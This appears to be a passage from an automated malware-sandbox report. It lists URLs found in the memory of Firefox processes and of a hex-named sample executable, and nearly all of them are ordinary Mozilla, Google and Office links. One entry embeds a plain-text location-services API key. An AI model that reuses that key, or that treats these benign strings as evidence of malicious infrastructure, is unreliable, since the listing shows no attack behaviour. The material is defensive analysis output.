Source: firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881The
Source: firefox.exe, 00000023.00000002.3025589583.000002862D495000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881a
Source: firefox.exe, 00000023.00000002.3321697398.0000028631021000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/#bidi-rendering
Source: firefox.exe, 00000023.00000002.3321697398.0000028631021000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/#flow-content-3
Source: firefox.exe, 00000023.00000002.3321697398.0000028631021000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/#hidden-elements
Source: firefox.exe, 00000023.00000002.3321697398.0000028631021000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/#the-details-and-summary-elements
Source: firefox.exe, 00000023.00000002.3321697398.0000028631021000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/#the-hr-element-2
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000018.00000002.2630851621.00000238F3703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 00000023.00000002.3350268483.00000286327C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000023.00000002.3350268483.00000286327C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000023.00000002.3321697398.000002863106A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3350268483.00000286327C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E895000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3312278388.000002862F706000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3297087442.000002862E515000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sresource://pdf.js/PdfJsDefaultPreferences.sys.mjsM
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000018.00000002.2636379005.00000238F52B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000018.00000002.2636379005.00000238F52B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2630286434.00000238F3482000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2637577931.00000238F6903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttp://poczta.interia.pl/mh/?mailto=%shttps://poczta.interia.
Source: firefox.exe, 00000018.00000002.2636379005.00000238F52B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000018.00000002.2625566496.00000238E76DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2644160751.000001F414372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2938979510.0000028621AD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3339121279.00000286320B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000023.00000002.3321697398.0000028631045000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2978941920.000002862D252000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000023.00000002.2978941920.000002862D252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.comS
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000023.00000002.3317049922.0000028630CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.2843731239.0000028630CB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000018.00000002.2636379005.00000238F52B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2637577931.00000238F6903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%shttps://email.seznam.cz/newMessageScreen?mail
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000018.00000002.2636379005.00000238F52B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2630286434.00000238F3482000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2637577931.00000238F6903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000018.00000002.2636379005.00000238F52B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.combrowser.fixup.alternate.enabledPanelUI-developer-tools-viewWebChannelMes
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000023.00000002.3321697398.0000028631045000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2978941920.000002862D252000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000023.00000002.3326407807.0000028631538000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3336295224.0000028631E45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3339121279.00000286320B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DAD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/isUnderHiddenEmbedderElement
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/isUnderHiddenEmbedderElementpictureinpicture
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.combrowser.handlers.migrationsaccount-connection-connectednetwork.proxy.
Source: firefox.exe, 00000023.00000002.2978941920.000002862D252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comzA8
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3815000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svghttps://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3815000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3334627067.0000028631DB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelbrowser.engagement.session_time_including_suspen
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3815000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelchrome://extensions/content/schemas/manifest.jso
Source: firefox.exe, 00000023.00000002.3321697398.0000028631045000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2978941920.000002862D252000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 8ec8c5c339.exe, 00000008.00000003.2494959406.0000000028D48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000023.00000002.3321697398.00000286310AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 00000023.00000002.3025589583.000002862D495000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaPlatformDecoderNotFound
Source: firefox.exe, 00000023.00000002.3025589583.000002862D495000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaWMFNeeded
Source: firefox.exe, 00000023.00000002.3108413567.000002862DAF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 00000023.00000002.3108413567.000002862DAF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationresource://gre/modules/ContentPrefServiceChild.sys
Source: 8ec8c5c339.exe, 00000008.00000003.2494959406.0000000028D48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.orgmedia.autoplay.blocking_policy_migrateXULStoreForDocumentbookmarksToolbar
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.orgmigrateXULAttributeToStyletestPermissionFromPrincipalcreateContentPrincip
Source: 8ec8c5c339.exe, 8ec8c5c339.exe, 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, 8ec8c5c339.exe, 00000008.00000003.2415301062.00000000229F1000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 8ec8c5c339.exe, 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, 8ec8c5c339.exe, 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: 8ec8c5c339.exe, 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: 8ec8c5c339.exe, 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
